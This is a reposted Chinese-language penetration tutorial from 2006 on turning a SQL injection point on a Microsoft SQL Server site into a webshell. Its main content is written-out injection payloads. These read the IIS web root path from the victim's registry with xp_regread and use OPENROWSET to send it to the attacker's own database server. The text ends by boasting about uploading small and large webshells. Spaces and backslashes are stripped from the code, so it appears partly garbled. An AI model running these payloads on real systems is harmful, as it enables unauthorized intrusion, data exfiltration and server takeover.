欢迎来到福编程网,本站提供各种互联网专业知识!

渗透中用openrowset搞shell的方法

发布时间:2006-12-07 作者: 来源:转载
渗透中用openrowset搞shell的方法得到SQL注入点,首先想到的是BACKUPWEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返
渗透中用openrowset搞shell的方法
得到SQL注入点,首先想到的是BACKUPWEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库

然后在对方机器上建立个表createtable[dbo].[fenggou]([cha8][char](255))--

在对方执行DECLARE@resultvarchar(255)execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots','/',@resultoutputinsertintofenggou(cha8)values('selecta.*FROMOPENROWSET(''SQLOLEDB'',''自己的IP'';''sa'';''你的密码'',''select*FROMpubs.dbo.authorswhereau_fname='''''+@result+''''''')ASa');--

这样fenggou这个表里就会有这样一条记录selecta.*FROMOPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码','select*FROMpubs.dbo.authorswhereau_fname=''D:WEB,,1''')ASa

不用说,''D:WEB"就是从注册表里读出的物理路径拉.然后执行DECLARE@a1char(255)set@a1=(selectcha8FROMfenggou)exec(@a1);--

等于执行了selecta.*FROMOPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码','select*FROMpubs.dbo.authorswhereau_fname=''D:WEB,,1''')ASa

OK,这时你在你机器上SQL事件追踪器上就会显示select*FROMpubs.dbo.authorswhereau_fname='D:WEB,,1'
哇哈哈哈哈哈物理路径到手了写小马传大马吧~

相关推荐